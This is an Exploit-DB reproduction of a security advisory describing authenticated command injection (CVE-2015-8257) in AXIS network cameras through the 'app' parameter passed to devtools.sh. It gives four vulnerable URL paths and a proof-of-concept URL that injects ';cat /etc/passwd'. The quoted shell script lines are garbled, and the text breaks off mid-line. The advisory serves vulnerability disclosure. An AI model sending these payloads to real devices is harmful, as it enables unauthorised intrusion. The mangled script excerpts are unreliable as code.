Exploit-DB #40171
Description: AXIS (Multiple Products) - 'devtools ' (Authenticated) Remote Command Execution
Type: webapps
Platform: linux
Date: 2016-07-29
Author: Orwelllabs

Exploit:
  _   _   _   _   _   _   _   _   _   _
 / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 )
 \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/

        www.orwelllabs.com
        security advisory
         olsa-2015-8257
         PGP: 79A6CCC0


* Advisory Information
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(+) Title: AXIS Multiple Products Authenticated Remote Command Execution via devtools vector
(+) Vendor: AXIS Communications
(+) Research and Advisory: Orwelllabs
(+) Advisory URL: http://www.orwelllabs.com/2016/01/axis-commucations-multiple-products.html
(+) Class: Improper Input Validation [CWE-20]
(+) CVE Name: CVE-2015-8257
(+) Remotely Exploitable: Yes
(+) Locally Exploitable: No
(+) OLSA-ID: OWLL2015-8257
(+) Affected Versions: Multiple Products/Firmwares (check the list bellow)
(+) IoT Attack Surface: Device Administrative Interface/Authentication/Authorization
(+) Owasp IoTTop10: I1, I2
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Vulnerability
+++++++++++++
AXIS Network Cameras (various models/firmwares) are prone to Authenticated remote
command execution vulnerability. Exploiting this vulnerability a remote attacker can
force the execution of certain unauthorized actions, which may lead to further attacks.

Technical Details
+++++++++++++++++
The devtools.sh script is the responsible for vulnerability and it's 4 attack vectors through the following pages:


http://xxx.xxx.xxx.xxx/app_license.shtml?app=
http://xxx.xxx.xxx.xxx/app_license_custom.shtml?app=
http://xxx.xxx.xxx.xxx/app_index.shtml?app=
http://xxx.xxx.xxx.xxx/app_params.shtml?app=


An attacker can use the app parameter that waits for the name of a
legitimate application to inject commands in the operating system using
"%3B", for example, to read the contents of /etc/passwd:

http: //
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd

The data entered in parameter "app =" is passed without any treatment for
devtools.sh script located at: {HTMLROOL}/bin/devtools.sh

This script contains several functions, namely:

list()
status()
menulist()
mainpagelink()
SETTINGSLINK()
confvariable()
echo_ssivar_licensekey()
load_auto_inst_form()

When these functions are invoked, they interact with the parameters passed
by the web application through
the affected scripts (e.g. ap_license.shtml? App =). By injecting the code
below:

http: //
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd

The value passed in "app" will be passed directly to the script invoking
devtools.sh via shell -c as shown in the listing process below (third line
invoking confvariable function):

[SNIP]
 2039    led      25472 S    /usr/bin/enldgts -n
12014   root         0 SW   [kworker/0:0]
13178   root      2548 S    /bin/sh -c /usr/html/bin/devtools.sh
confvariable ORW..
13183   root      2728 R    ps -aux PACKAGENAME
13312   root         0 SW   [kworker/3:1]
13320   root         0 SW   [kworker/2:0]
[SNIP]

The value "ORWELLLABS%3Bcat%20/etc/passwd" is then passed on to the
corresponding function (after passing through a conference on "confvariable
()").

confvariable() {
local val=
if [ -r "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" ]; then
. "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" || :
eval val=\$$2
echo $val
fi
}


Then enter the function "menulist ()" which we see the main stretch located
between the lines 127 and 143:

[SNIP]
127 [ "$ name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ activeMenu1 = $ APPNAME" -> true <! - # Else - -> false <! - #
endif ->, null,
128 [
129 [ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = param_ $ APPNAME" -> true <! - # Else - -> false
<! - # endif ->, null, []],
130 EOF
131 if [-z "$ LICENSEPAGE"] || [ "$ LICENSEPAGE" axis =]; Then
132 cat << - EOF
133 [ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = license_ $ APPNAME" -> true <! - # Else - -> false
<! - # endif ->, null, []],
134 EOF
135 fi
136 if [ "$ LICENSEPAGE" = custom] && [-r "$ HTMLROOT / local / $ APPNAME /
license.inc"]; Then
137 cat << - EOF
138 [ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <!
- # If expr = "\ $ ActivePage custom_ = $ APP NAME" -> true <! - # Else ->
false <! - # endif ->, null, []],
139 EOF
140 fi
141 if [-r "$ HTMLROOT / local / $ APPNAME / about.inc"]; Then
142 cat << - EOF
143 [ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = $ APPNAME" -> true <! - # Else - > false <! - #
endif ->, null, []],


Where the important lines are the menus below:


/bin/devtools.sh (127):
[ "$ Name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If expr
= "\ $ activeMenu1 = $ APPNAME" -> true -> false <! - #endif ->, null,
/bin/devtools.sh (129):
[ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = param_ -> true <! - # Else -> false < ! - # endif
->, null, []],
/bin/devtools.sh (133):
[ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = License" -> true <! - # Else -> false <! - # endif
->, null, []],
/bin/devtools.sh (138):
[ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <! - #
If expr = "\ $ ActivePage = APPNAME" -> true <! - # Else -> false <! - #
endif ->, null, []],
/bin/devtools.sh (143):
[ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If expr =
"\ $ ActivePage = $ APPNAME" - # else -> false <! - # endif ->, null, []],


In PoC presented above, the payload will be triggered in line vector 133 of
devtools script ( "License" menu) that will:


[ "License", "/app_license.shtml", "app = ORWELLLABS% 3Bcat% 20
/etc/passwd& "HostA, <! - # If expr =" \ $ ActivePage = License "-> true <!